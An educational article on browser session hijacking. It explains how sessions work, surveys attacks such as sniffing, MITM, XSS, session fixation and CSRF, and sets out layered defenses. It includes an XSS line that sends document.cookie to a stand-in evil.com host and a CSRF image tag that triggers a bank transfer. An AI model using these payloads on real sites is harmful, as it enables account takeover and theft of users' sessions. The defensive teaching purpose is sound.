From Cookie to Compromise: A Technical Analysis of Session Hijacking

1. What Is Browser Session Hijacking?

Browser session hijacking is an attack where an adversary takes control of a legitimate user’s authenticated session by stealing or abusing session identifiers (usually cookies or tokens).
Once hijacked, the attacker impersonates the user without knowing their password.

The browser believes the attacker is the user because the session identifier is valid.


2. How Web Sessions Work (Foundation)

2.1 Authentication vs Session Management

Authentication proves identity once (login).
Session management maintains identity across requests.

Because HTTP is stateless, servers must track state using session tokens.

2.2 Typical Session Flow

  1. User logs in with credentials
  2. Server validates credentials
  3. Server generates a session ID
  4. Session ID is stored:
    • Server-side (memory, Redis, DB)
    • Client-side as a cookie
  5. Browser sends session cookie with every request
  6. Server maps cookie → authenticated user

3. Session Identifiers (Attack Target)

3.1 Types of Session Identifiers

TypeExample
Cookie-basedPHPSESSID=abc123
JWTAuthorization: Bearer eyJ...
URL-basedexample.com?sid=abc123
HTML5 StoragelocalStorage/session

3.2 Security Properties Required

A secure session token must be:

  • Random (cryptographically secure)
  • Unpredictable
  • Unique
  • Bound to context (IP, UA, TLS if possible)

If any of these fail → hijacking becomes possible.


4. Core Session Hijacking Techniques


4.1 Packet Sniffing (Network-Level Hijacking)

Mechanism

If traffic is not encrypted, attackers can sniff session cookies.

Technical Flow

  1. User connects over HTTP (no TLS)
  2. Session cookie sent in plaintext
  3. Attacker captures packet (Wireshark, tcpdump)
  4. Attacker replays cookie in their own browser

Tools

  • Wireshark
  • Ettercap
  • tcpdump

Why HTTPS Stops This

TLS encrypts:

  • HTTP headers
  • Cookies
  • Request bodies

4.2 Man-in-the-Middle (MITM) Attacks

MITM Variants

  • Rogue Wi-Fi hotspots
  • ARP poisoning
  • DNS spoofing
  • SSL stripping

SSL Stripping Example

  1. Victim requests http://example.com
  2. Attacker downgrades HTTPS → HTTP
  3. Victim receives session cookie over HTTP
  4. Attacker steals cookie

4.3 Cross-Site Scripting (XSS)

Why XSS Is the #1 Session Hijacking Vector

If JavaScript can access cookies:

document.cookie

Attack Flow

  1. Attacker injects JavaScript
  2. Script executes in victim’s browser
  3. Cookie exfiltrated:
fetch("https://evil.com/steal?c=" + document.cookie)
  1. Attacker reuses cookie

Defense

  • HttpOnly cookie flag
  • Content Security Policy (CSP)
  • Input/output sanitization

4.4 Session Fixation

Definition

Attacker sets a known session ID before login, then waits for victim to authenticate.

Attack Steps

  1. Attacker generates session ID
  2. Tricks victim into using it:
https://example.com/login?sid=KNOWNID
  1. Victim logs in
  2. Session ID becomes authenticated
  3. Attacker uses same ID

Root Cause

  • Session ID not regenerated on login

4.5 Cross-Site Request Forgery (CSRF) + Session Abuse

CSRF doesn’t steal sessions but abuses active sessions.

Example

Victim logged in → attacker triggers:

<img src="https://bank.com/transfer?to=attacker&amount=1000">

Session cookie automatically included.


4.6 Token Theft via Browser Storage

localStorage / sessionStorage Risks

  • Accessible by JavaScript
  • XSS = total compromise
localStorage.getItem("auth_token")

JWT Risks

  • Long-lived tokens
  • Often stored insecurely
  • Cannot be invalidated server-side easily

5. Advanced Session Hijacking Techniques


5.1 Sidejacking (Partial Encryption)

Some sites encrypt login but not session traffic.

Result

  • Attacker steals post-login cookie
  • Famous tool: Firesheep

5.2 Browser Extension Hijacking

Malicious extensions can:

  • Read cookies
  • Inject scripts
  • Modify headers

Permissions Abuse

"permissions": ["cookies", "<all_urls>"]

5.3 Session Replay Attacks

Attacker captures:

  • Cookies
  • Headers
  • User-Agent

Then replays exact request.

Works if:

  • No IP binding
  • No TLS token binding
  • No request nonce

5.4 Session Prediction

If session IDs are:

  • Sequential
  • Timestamp-based
  • Weak RNG

Attackers can brute-force:

session_1001
session_1002
session_1003

6. Browser-Level Factors

Cookie Attributes

AttributePurpose
SecureHTTPS only
HttpOnlyBlocks JS access
SameSiteCSRF defense
DomainLimits scope
PathLimits routes

Example Secure Cookie

Set-Cookie: SID=abc123;
Secure; HttpOnly; SameSite=Strict

7. Server-Side Session Handling Weaknesses

Common Mistakes

  • No session regeneration on login
  • Long session expiration
  • No logout invalidation
  • No session binding to IP or device
  • No anomaly detection

8. Detection of Session Hijacking

Indicators

  • Same session ID from different IPs
  • Rapid geolocation changes
  • Concurrent logins
  • Abnormal user behavior

Defensive Techniques

  • IP fingerprinting
  • Device fingerprinting
  • Behavioral analysis
  • Session rotation

9. Complete Defense Strategy (Layered)

Transport Layer

  • HTTPS everywhere
  • HSTS
  • TLS 1.3

Browser Layer

  • Secure cookies
  • HttpOnly
  • SameSite
  • CSP

Application Layer

  • Regenerate session ID after login
  • Short session lifetimes
  • Logout invalidation
  • CSRF tokens

Architecture

  • Zero Trust
  • Token binding
  • OAuth + PKCE
  • Refresh token rotation

10. Real-World Impact

Session hijacking enables:

  • Account takeover
  • Financial fraud
  • Data exfiltration
  • Privilege escalation
  • Compliance violations (GDPR, PCI)

11. Summary (Key Takeaways)

  • Session hijacking exploits trust in session identifiers
  • Cookies are credentials
  • XSS + weak cookies = total compromise
  • HTTPS alone is not enough
  • Defense must be multi-layered